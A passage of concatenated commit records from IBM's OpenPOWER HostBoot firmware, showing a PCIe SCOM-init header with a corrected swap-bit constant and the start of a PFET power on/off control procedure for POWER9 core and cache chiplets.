0x8000088D0D010C3F,\n 0x800008CD0D010C3F,\n 0x8000098D0D010C3F,\n 0x800009CD0D010C3F,\n 0x80000A8D0D010C3F,\n 0x80000ACD0D010C3F,\n 0x80000B8D0D010C3F,\n 0x80000BCD0D010C3F,\n};\n\nconst uint64_t RX_LOFF_CNTL_REGISTER[NUM_PCIE_LANES] =\n{\n 0x800000A60D010C3F,\n 0x800000E60D010C3F,\n 0x800001A60D010C3F,\n 0x800001E60D010C3F,\n 0x800002A60D010C3F,\n 0x800002E60D010C3F,\n 0x800003A60D010C3F,\n 0x800003E60D010C3F,\n 0x800008A60D010C3F,\n 0x800008E60D010C3F,\n 0x800009A60D010C3F,\n 0x800009E60D010C3F,\n 0x80000AA60D010C3F,\n 0x80000AE60D010C3F,\n 0x80000BA60D010C3F,\n 0x80000BE60D010C3F,\n\n};\n\nconst uint32_t PCS_CONFIG_MODE0 = 0xA006;\nconst uint32_t PCS_CONFIG_MODE1 = 0xA805;\nconst uint32_t PCS_CONFIG_MODE2 = 0xB071;\nconst uint32_t PCS_CONFIG_MODE3 = 0xB870;\n\nconst uint32_t MAX_NUM_POLLS = 100; \/\/Maximum number of iterations (So, 400ns * 100 = 40us before timeout)\nconst uint64_t PMA_RESET_NANO_SEC_DELAY = 400; \/\/400ns to wait for PMA RESET to go through\nconst uint64_t PMA_RESET_CYC_DELAY = 400; \/\/400ns to wait for PMA RESET to go through\n\nextern \"C\" {\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Function prototype\n\/\/-----------------------------------------------------------------------------------\n\n\/\/\/ @brief Perform PCIE Phase1 init sequence\n\/\/\/ @param[in] i_target => P9 chip target\n\/\/\/ @return FAPI_RC_SUCCESS if the setup completes successfully,\n\/\/\n fapi2::ReturnCode p9_pcie_scominit(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target);\n} \/\/extern\"C\"\n\n#endif \/\/_P9_PCIE_SCOMINIT_H_\n<commit_msg>p9_pcie_scominit PEC0 swap bit position fixed<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/nest\/p9_pcie_scominit.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/-----------------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @file p9_pcie_scominit.H\n\/\/\/ @brief Perform PCIE Phase1 init sequence (FAPI2)\n\/\/\/\n\/\/ *HWP HWP Owner: Christina Graves clgraves@us.ibm.com\n\/\/ *HWP FW Owner: Thi Tran thi@us.ibm.com\n\/\/ *HWP Team: Nest\n\/\/ *HWP Level: 1\n\/\/ *HWP Consumed by: HB\n\n#ifndef _P9_PCIE_SCOMINIT_H_\n#define _P9_PCIE_SCOMINIT_H_\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Includes\n\/\/-----------------------------------------------------------------------------------\n#include <fapi2.H>\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Helper Macros\n\/\/-----------------------------------------------------------------------------------\n#define SET_REG_RMW_WITH_SINGLE_ATTR_8(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_8)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_8, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR_WITH_SINGLE_ATTR_16(in_attr_name, in_reg_name, in_start_bit, in_bit_count)\\\n l_buf = 0; \\\n FAPI_TRY(FAPI_ATTR_GET(in_attr_name, l_pec_chiplets, l_attr_16)); \\\n FAPI_TRY(l_buf.insertFromRight(l_attr_16, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_RMW(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(fapi2::getScom(l_pec_chiplets, in_reg_name, l_buf)); \\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n#define SET_REG_WR(in_value, in_reg_name, in_start_bit, in_bit_count)\\\n FAPI_TRY(l_buf.insertFromRight(in_value, in_start_bit, in_bit_count)); \\\n FAPI_DBG(\"pec%i: %#lx\", l_pec_id, l_buf()); \\\n FAPI_TRY(fapi2::putScom(l_pec_chiplets, in_reg_name, l_buf));\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Structure definitions\n\/\/-----------------------------------------------------------------------------------\n\n\/\/function pointer typedef definition for HWP call support\ntypedef fapi2::ReturnCode (*p9_pcie_scominit_FP_t) (const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>&);\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Constant definitions\n\/\/-----------------------------------------------------------------------------------\n\nconst uint8_t NUM_PCS_CONFIG = 4;\nconst uint8_t NUM_PCIE_LANES = 16;\nconst uint8_t NUM_M_CONFIG = 4;\nconst uint8_t PEC0_IOP_CONFIG_START_BIT = 13;\nconst uint8_t PEC1_IOP_CONFIG_START_BIT = 14;\nconst uint8_t PEC2_IOP_CONFIG_START_BIT = 10;\nconst uint8_t PEC0_IOP_BIT_COUNT = 1;\nconst uint8_t PEC1_IOP_BIT_COUNT = 2;\nconst uint8_t PEC2_IOP_BIT_COUNT = 3;\nconst uint8_t PEC0_IOP_SWAP_START_BIT = 12;\nconst uint8_t PEC1_IOP_SWAP_START_BIT = 12;\nconst uint8_t PEC2_IOP_SWAP_START_BIT = 7;\nconst uint8_t PEC0_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC1_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC2_IOP_IOVALID_ENABLE_START_BIT = 4;\nconst uint8_t PEC_IOP_REFCLOCK_ENABLE_START_BIT = 32;\nconst uint8_t PEC_IOP_PMA_RESET_START_BIT = 29;\nconst uint8_t PEC_IOP_PIPE_RESET_START_BIT = 28;\nconst uint8_t PEC_IOP_HSS_PORT_READY_START_BIT = 58;\n\nconst uint64_t PEC_IOP_PLLA_VCO_COURSE_CAL_REGISTER1 = 0x800005010D010C3F;\nconst uint64_t PEC_IOP_PLLB_VCO_COURSE_CAL_REGISTER1 = 0x800005410D010C3F;\nconst uint64_t PEC_IOP_RX_DFE_FUNC_REGISTER1 = 0x8000049F0D010C3F;\nconst uint64_t PEC_IOP_RX_DFE_FUNC_REGISTER2 = 0x800004A00D010C3F;\n\nconst uint64_t RX_VGA_CTRL3_REGISTER[NUM_PCIE_LANES] =\n{\n 0x8000008D0D010C3F,\n 0x800000CD0D010C3F,\n 0x8000018D0D010C3F,\n 0x800001CD0D010C3F,\n 0x8000028D0D010C3F,\n 0x800002CD0D010C3F,\n 0x8000038D0D010C3F,\n 0x800003CD0D010C3F,\n 0x8000088D0D010C3F,\n 0x800008CD0D010C3F,\n 0x8000098D0D010C3F,\n 0x800009CD0D010C3F,\n 0x80000A8D0D010C3F,\n 0x80000ACD0D010C3F,\n 0x80000B8D0D010C3F,\n 0x80000BCD0D010C3F,\n};\n\nconst uint64_t RX_LOFF_CNTL_REGISTER[NUM_PCIE_LANES] =\n{\n 0x800000A60D010C3F,\n 0x800000E60D010C3F,\n 0x800001A60D010C3F,\n 0x800001E60D010C3F,\n 0x800002A60D010C3F,\n 0x800002E60D010C3F,\n 0x800003A60D010C3F,\n 0x800003E60D010C3F,\n 0x800008A60D010C3F,\n 0x800008E60D010C3F,\n 0x800009A60D010C3F,\n 0x800009E60D010C3F,\n 0x80000AA60D010C3F,\n 0x80000AE60D010C3F,\n 0x80000BA60D010C3F,\n 0x80000BE60D010C3F,\n\n};\n\nconst uint32_t PCS_CONFIG_MODE0 = 0xA006;\nconst uint32_t PCS_CONFIG_MODE1 = 0xA805;\nconst uint32_t PCS_CONFIG_MODE2 = 0xB071;\nconst uint32_t PCS_CONFIG_MODE3 = 0xB870;\n\nconst uint32_t MAX_NUM_POLLS = 100; \/\/Maximum number of iterations (So, 400ns * 100 = 40us before timeout)\nconst uint64_t PMA_RESET_NANO_SEC_DELAY = 400; \/\/400ns to wait for PMA RESET to go through\nconst uint64_t PMA_RESET_CYC_DELAY = 400; \/\/400ns to wait for PMA RESET to go through\n\nextern \"C\" {\n\n\/\/-----------------------------------------------------------------------------------\n\/\/ Function prototype\n\/\/-----------------------------------------------------------------------------------\n\n\/\/\/ @brief Perform PCIE Phase1 init sequence\n\/\/\/ @param[in] i_target => P9 chip target\n\/\/\/ @return FAPI_RC_SUCCESS if the setup completes successfully,\n\/\/\n fapi2::ReturnCode p9_pcie_scominit(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& i_target);\n} \/\/extern\"C\"\n\n#endif \/\/_P9_PCIE_SCOMINIT_H_\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_pm_pfet_control.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2017 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_pm_pfet_control.C\n\/\/\/ @brief Enable PFET devices to power on\/off all enabled Core and Cache\n\/\/\/ chiplets in target passed.\n\/\/\/\n\/\/----------------------------------------------------------------------------\n\/\/ *HWP HWP Owner : Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner : Sumit Kumar <sumit_kumar@in.ibm.com>\n\/\/ *HWP Team : PM\n\/\/ *HWP Level : 2\n\/\/ *HWP Consumed by : OCC:CME:FSP\n\/\/----------------------------------------------------------------------------\n\/\/\n\/\/ @verbatim\n\/\/ High-level procedure flow:\n\/\/ PFET Control\n\/\/ Power-on via Hardare FSM:\n\/\/ ------------------------\n\/\/ VDD first, VCS second\n\/\/ Read PFETCNTLSTAT_REG and check for bits 0:3 being 0b0000.\n\/\/ Write PFETCNTLSTAT_REG with values defined below\n\/\/ -vdd_pfet_force_state = 11 (Force Von)\n\/\/ -vdd_pfet_val_override = 0 (Override disabled)\n\/\/ -vdd_pfet_sel_override = 0 (Override disabled)\n\/\/ -vdd_pfet_enable_regulation_finger = 0 (Regulation finger controlled by FSM)\n\/\/ Poll for PFETCNTLSTAT_REG[VDD_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VDD_PG_SEL]being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vdd_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/ Write PFETCNTLSTAT_REG_OR with values defined below\n\/\/ -vcs_pfet_force_state = 11 (Force Von)\n\/\/ Write to PFETCNTLSTAT_REG_CLR\n\/\/ -vcs_pfet_val_override = 0 (Override disabled)\n\/\/ -vcs_pfet_sel_override = 0 (Override disabled)\n\/\/ Note there is no vcs_pfet_enable_regulation_finger\n\/\/ Poll for PFETCNTLSTAT_REG[VCS_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VCS_PG_SEL] being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vcs_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/\n\/\/ Power-off via Hardare FSM:\n\/\/ -------------------------\n\/\/ VCS first, VDD second\n\/\/ Read PFETCNTLSTAT_REG and check for bits 0:3 being 0b0000.\n\/\/ Write PFETCNTLSTAT_REG with values defined below\n\/\/ -vcs_pfet_force_state = 01 (Force Voff)\n\/\/ -vcs_pfet_val_override = 0 (Override disabled)\n\/\/ -vcs_pfet_sel_override = 0 (Override disabled)\n\/\/ Note there is no vcs_pfet_enable_regulation_finger\n\/\/ Poll for PFETCNTLSTAT_REG[VCS_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VCS_PG_SEL]being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vcs_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/ Write PFETCNTLSTAT_REG_OR with values defined below\n\/\/ -vdd_pfet_force_state = 01 (Force Voff)\n\/\/ Write to PFETCNTLSTAT_REG_CLR\n\/\/ -vdd_pfet_val_override = 0 (Override disabled)\n\/\/ -vdd_pfet_sel_override = 0 (Override disabled)\n\/\/ -vdd_pfet_enable_regulation_finger = 0 (Regulation finger controlled by FSM)\n\/\/ Poll for PFETCNTLSTAT_REG[VDD_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VDD_PG_SEL] being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vdd_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/\n\/\/ NOTE:\n\/\/ For EQ supports: VDD,VCS,BOTH\n\/\/ For EC & EX supports: VDD only. VCS returns an error. BOTH reports a warning that only VDD was controlled.\n\/\/ EX target only powers OFF the two cores associated with that 'half' of the quad.\n\/\/\n\/\/ Procedure Prereq:\n\/\/ - System clocks are running\n\/\/\n\/\/ @endverbatim\n\/\/------------------------------------------------------------------------------\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Includes\n\/\/ ----------------------------------------------------------------------\n#include <p9_common_poweronoff.H>\n#include <p9_common_poweronoff.C>\n#include <p9_pm_pfet_control.H>\n\n\/\/------------------------------------------------------------------------------\n\/\/ Constant definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Global variables\n\/\/------------------------------------------------------------------------------\n\n\/\/------------------------------------------------------------------------------\n\/\/ Function definitions\n\/\/------------------------------------------------------------------------------\n\n\/\/\/\n\/\/\/ @brief Enable power on\/off for core and cache chiplets\n\/\/\/\n\/\/\/ @param [in] i_target Target type Core\/EQ\/Ex chiplet\n\/\/\/ @param [in] i_rail Valid rail options:BOTH\/VDD\/VCS\n\/\/\/ @param [in] i_op Valid options:OFF\/ON\n\/\/\/\n\/\/\/ @return FAPI2_RC_SUCCESS on success, error otherwise.\n\/\/\/\ntemplate <fapi2::TargetType K >\nstatic fapi2::ReturnCode pfet_ctrl(\n const fapi2::Target< K >& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op);\n\n\n\/\/ Procedure pfet control-EQ entry point, comments in header\nfapi2::ReturnCode p9_pm_pfet_control_eq(\n const fapi2::Target<fapi2::TARGET_TYPE_EQ>& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n uint32_t l_unit_pos = 0;\n bool core_target_found = false;\n\n FAPI_INF(\"p9_pm_pfet_control_eq: Entering...\");\n\n \/\/ Get chiplet position\n l_unit_pos = i_target.getChipletNumber();\n FAPI_INF(\"pfet control for EQ chiplet %d\", l_unit_pos);\n\n \/\/ When i_op == OFF all functional cores first followed by EQ\n \/\/ When i_op == ON EQ first followed by all functional cores\n if(i_op == PM_PFET_TYPE_C::ON)\n {\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_EQ>(i_target,\n i_rail, i_op), \"Error: pfet_ctrl for eq!!\");\n }\n\n \/\/ Check for all core chiplets in EQ and power on\/off targets accordingly\n for (auto& l_core_target : i_target.getChildren<fapi2::TARGET_TYPE_CORE>\n (fapi2::TARGET_STATE_FUNCTIONAL))\n {\n l_unit_pos = l_core_target.getChipletNumber();\n FAPI_INF(\"Core chiplet %d in EQ\", l_unit_pos);\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_CORE>(l_core_target,\n i_rail, i_op), \"Error: pfet_ctrl for core!!\");\n core_target_found = true;\n }\n\n \/\/ Power on\/off EQ target\n if( (i_op == PM_PFET_TYPE_C::OFF) && (core_target_found) )\n {\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_EQ>(i_target,\n i_rail, i_op), \"Error: pfet_ctrl for eq!!\");\n }\n else if( ((i_op == PM_PFET_TYPE_C::ON) && !(core_target_found)) ||\n ((i_op == PM_PFET_TYPE_C::OFF) && !(core_target_found)) )\n {\n FAPI_INF(\"EQ chiplet no. %d; No core target found in functional state in this EQ\\n\", l_unit_pos);\n }\n\n FAPI_INF(\"p9_pm_pfet_control_eq: ...Exiting\");\n\nfapi_try_exit:\n return fapi2::current_err;\n} \/\/p9_pm_pfet_control_eq\n\n\n\/\/ Procedure pfet control-EX entry point, comments in header\nfapi2::ReturnCode p9_pm_pfet_control_ex(\n const fapi2::Target<fapi2::TARGET_TYPE_EX>& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n uint32_t l_unit_pos = 0;\n bool core_target_found = false;\n\n FAPI_INF(\"p9_pm_pfet_control_ex: Entering...\");\n\n \/\/ Get chiplet position\n l_unit_pos = i_target.getChipletNumber();\n FAPI_INF(\"pfet control for EX chiplet %d\", l_unit_pos);\n\n \/\/ Check for all core chiplets in EX and power on\/off targets accordingly\n for (auto& l_core_target : i_target.getChildren<fapi2::TARGET_TYPE_CORE>\n (fapi2::TARGET_STATE_FUNCTIONAL))\n {\n l_unit_pos = l_core_target.getChipletNumber();\n FAPI_INF(\"Core chiplet %d in EX\", l_unit_pos);\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_CORE>(l_core_target,\n i_rail, i_op), \"Error: pfet_ctrl for core!!\");\n core_target_found = true;\n }\n\n \/\/ When no functional chiplet target found\n if(!core_target_found)\n {\n FAPI_INF(\"EX chiplet no. %d; No core target found in functional state in this EX\\n\", l_unit_pos);\n }\n\n FAPI_INF(\"p9_pm_pfet_control_ex: ...Exiting\");\n\nfapi_try_exit:\n return fapi2::current_err;\n} \/\/p9_pm_pfet_control_ex\n\n\n\/\/ Procedure pfet control-Core entry point, comments in header\nfapi2::ReturnCode p9_pm_pfet_control_ec(\n const fapi2::Target<fapi2::TARGET_TYPE_CORE>& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n\n FAPI_INF(\"p9_pm_pfet_control_core: Entering...\");\n\n FAPI_TRY(pfet_ctrl<fapi2::TargetType::TARGET_TYPE_CORE>(i_target,\n i_rail, i_op), \"Error: pfet_ctrl for core!!\");\n\n FAPI_INF(\"p9_pm_pfet_control_core: ...Exiting\");\n\nfapi_try_exit:\n return fapi2::current_err;\n} \/\/p9_pm_pfet_control_ec\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ pfet_ctrl:\n\/\/ Function to power on\/off core and cache chiplets\n\/\/------------------------------------------------------------------------------\ntemplate <fapi2::TargetType K >\nfapi2::ReturnCode pfet_ctrl(\n const fapi2::Target< K >& i_target,\n const PM_PFET_TYPE_C::pfet_rail_t i_rail,\n const PM_PFET_TYPE_C::pfet_force_t i_op)\n{\n fapi2::current_err = fapi2::FAPI2_RC_SUCCESS;\n uint32_t l_unit_pos = 0;\n\n FAPI_INF(\"pfet_ctrl: Entering...\");\n\n \/\/ Get chiplet position\n l_unit_pos = i_target.getChipletNumber();\n\n \/\/ Check for target passed\n if(i_target.getType() & fapi2::TARGET_TYPE_CORE)\n {\n FAPI_INF(\"pfet control for Core chiplet %d\", l_unit_pos);\n }\n else if(i_target.getType() & fapi2::TARGET_TYPE_EQ)\n {\n FAPI_INF(\"pfet control for EQ chiplet %d\", l_unit_pos);\n }\n else\n {\n \/\/ Invalid chiplet selected\n FAPI_ASSERT(false,\n fapi2::PFET_CTRL_INVALID_CHIPLET_ERROR()\n .set_TARGET(i_target),\n \"ERROR: Invalid chiplet selected\");\n }\n\n switch(i_op)\n {\n case PM_PFET_TYPE_C::OFF:\n switch(i_rail)\n {\n case PM_PFET_TYPE_C::BOTH:\n if(i_target.getType() & fapi2::TARGET_TYPE_EQ)\n {\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_OFF));\n }\n else\n {\n FAPI_IMP(\"WARNING:Only VDD (not BOTH\/VCS) is controlled for target Core & EX\");\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_OFF_VDD));\n }\n\n break;\n\n case PM_PFET_TYPE_C::VDD:\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_OFF_VDD));\n break;\n\n case PM_PFET_TYPE_C::VCS:\n FAPI_IMP(\"WARNING:Only VDD or both VDD\/VCS controlled for target Core\/EX & Cache respectively\");\n break;\n }\n\n break;\n\n case PM_PFET_TYPE_C::ON:\n switch(i_rail)\n {\n case PM_PFET_TYPE_C::BOTH:\n if(i_target.getType() & fapi2::TARGET_TYPE_EQ)\n {\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_ON));\n }\n else\n {\n FAPI_IMP(\"WARNING:Only VDD (not BOTH\/VCS) is controlled for target Core & EX\");\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_ON_VDD));\n }\n\n break;\n\n case PM_PFET_TYPE_C::VDD:\n FAPI_TRY(p9_common_poweronoff(i_target, p9power::POWER_ON_VDD));\n break;\n\n case PM_PFET_TYPE_C::VCS:\n FAPI_IMP(\"WARNING:Only VDD or both VDD\/VCS controlled for target Core\/EX & Cache respectively\");\n break;\n }\n\n break;\n }\n\nfapi_try_exit:\n return fapi2::current_err;\n}\n\n\n<commit_msg>Solve compilation issues when FAPI_INF is disabled<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_pm_pfet_control.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2017 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\/\/\/\n\/\/\/ @file p9_pm_pfet_control.C\n\/\/\/ @brief Enable PFET devices to power on\/off all enabled Core and Cache\n\/\/\/ chiplets in target passed.\n\/\/\/\n\/\/----------------------------------------------------------------------------\n\/\/ *HWP HWP Owner : Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner : Sumit Kumar <sumit_kumar@in.ibm.com>\n\/\/ *HWP Team : PM\n\/\/ *HWP Level : 2\n\/\/ *HWP Consumed by : OCC:CME:FSP\n\/\/----------------------------------------------------------------------------\n\/\/\n\/\/ @verbatim\n\/\/ High-level procedure flow:\n\/\/ PFET Control\n\/\/ Power-on via Hardare FSM:\n\/\/ ------------------------\n\/\/ VDD first, VCS second\n\/\/ Read PFETCNTLSTAT_REG and check for bits 0:3 being 0b0000.\n\/\/ Write PFETCNTLSTAT_REG with values defined below\n\/\/ -vdd_pfet_force_state = 11 (Force Von)\n\/\/ -vdd_pfet_val_override = 0 (Override disabled)\n\/\/ -vdd_pfet_sel_override = 0 (Override disabled)\n\/\/ -vdd_pfet_enable_regulation_finger = 0 (Regulation finger controlled by FSM)\n\/\/ Poll for PFETCNTLSTAT_REG[VDD_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VDD_PG_SEL]being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vdd_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/ Write PFETCNTLSTAT_REG_OR with values defined below\n\/\/ -vcs_pfet_force_state = 11 (Force Von)\n\/\/ Write to PFETCNTLSTAT_REG_CLR\n\/\/ -vcs_pfet_val_override = 0 (Override disabled)\n\/\/ -vcs_pfet_sel_override = 0 (Override disabled)\n\/\/ Note there is no vcs_pfet_enable_regulation_finger\n\/\/ Poll for PFETCNTLSTAT_REG[VCS_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VCS_PG_SEL] being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vcs_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/\n\/\/ Power-off via Hardare FSM:\n\/\/ -------------------------\n\/\/ VCS first, VDD second\n\/\/ Read PFETCNTLSTAT_REG and check for bits 0:3 being 0b0000.\n\/\/ Write PFETCNTLSTAT_REG with values defined below\n\/\/ -vcs_pfet_force_state = 01 (Force Voff)\n\/\/ -vcs_pfet_val_override = 0 (Override disabled)\n\/\/ -vcs_pfet_sel_override = 0 (Override disabled)\n\/\/ Note there is no vcs_pfet_enable_regulation_finger\n\/\/ Poll for PFETCNTLSTAT_REG[VCS_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VCS_PG_SEL]being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vcs_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/ Write PFETCNTLSTAT_REG_OR with values defined below\n\/\/ -vdd_pfet_force_state = 01 (Force Voff)\n\/\/ Write to PFETCNTLSTAT_REG_CLR\n\/\/ -vdd_pfet_val_override = 0 (Override disabled)\n\/\/ -vdd_pfet_sel_override = 0 (Override disabled)\n\/\/ -vdd_pfet_enable_regulation_finger = 0 (Regulation finger controlled by FSM)\n\/\/ Poll for PFETCNTLSTAT_REG[VDD_PG_STATE] for 0b1000 (FSM idle)-Timeout value = 1ms\n\/\/ (Optional) Check PFETCNTLSTAT_REG[VDD_PG_SEL] being 0x8 (Off encode point)\n\/\/ Write PFETCNTLSTAT_REG_WCLEAR\n\/\/ -vdd_pfet_force_state = 00 (No Operation);all fields set to 1 for WAND\n\/\/\n\/\/ NOTE:\n\/\/ For EQ supports: VDD,VCS,BOTH\n\/\/ For EC & EX supports: VDD only. VCS returns an error. BOTH reports a warning that only VDD was controlled.\n\/\/ EX target only powers OFF the two cores associated with that 'half' of the quad.\n\/\/\n\/\/ Procedure Prereq:\n\/\/ - System clocks are running\n\/\/\n\/\/ @endverbatim\n\/\/------------------------------------------------------------------------------\n\n\/\/ ----------------------------------------------------------------------\n\/\/ Includes\n\/\/ ----------------------------------------------------------------------\n#include 